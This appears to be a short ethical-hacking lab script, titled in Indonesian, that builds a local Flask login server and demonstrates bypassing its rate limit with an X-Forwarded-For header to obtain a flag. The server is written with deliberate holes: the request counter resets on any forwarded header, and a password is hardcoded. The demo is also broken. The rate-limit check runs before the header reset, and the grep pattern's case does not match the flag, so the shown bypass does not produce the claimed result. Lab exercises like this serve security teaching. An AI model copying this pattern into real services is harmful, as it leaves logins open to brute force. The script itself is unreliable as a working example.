EH-22: ⏱️ API Rate Limit Bypass - Brute Force Tanpa Batas

cd ~ && mkdir -p eth-l22 && cd eth-l22
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
app = Flask(__name__)
attempts = {}
@app.route('/login', methods=['POST'])
def login():
    ip = request.remote_addr or 'test'
    attempts[ip] = attempts.get(ip,0) + 1
    if attempts[ip] > 5:
        return jsonify({"error":"rate limited"}),429
    
    # ❌ Bypass: ganti header X-Forwarded-For!
    forwarded = request.headers.get('X-Forwarded-For','')
    if forwarded:
        attempts[ip] = 0  # reset jika pakai proxy!
        if forwarded == 'bypass_ip':
            return jsonify({"flag":"FLAG{Rate_Limit_Bypass}"})
    
    data = request.json or {}
    if data.get('pass') == 'admin123':
        return jsonify({"token":"ok"})
    return jsonify({"error":"invalid"}),401
app.run(port=9020)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Normal - 5 attempts blocked ==*"
for i in $(seq 1 6); do
  curl -s -X POST http://localhost:9020/login \
    -H "Content-Type: application/json" \
    -d '{"user":"admin","pass":"wrong"}' | grep -o "error.*"
done
echo ""
echo "=== 2. Bypass with X-Forwarded-For ==*"
curl -s -X POST http://localhost:9020/login \
  -H "Content-Type: application/json" \
  -H "X-Forwarded-For: bypass_ip" \
  -d '{"user":"admin","pass":"wrong"}' | grep -o 'flag{.*}'

kill %1 2>/dev/null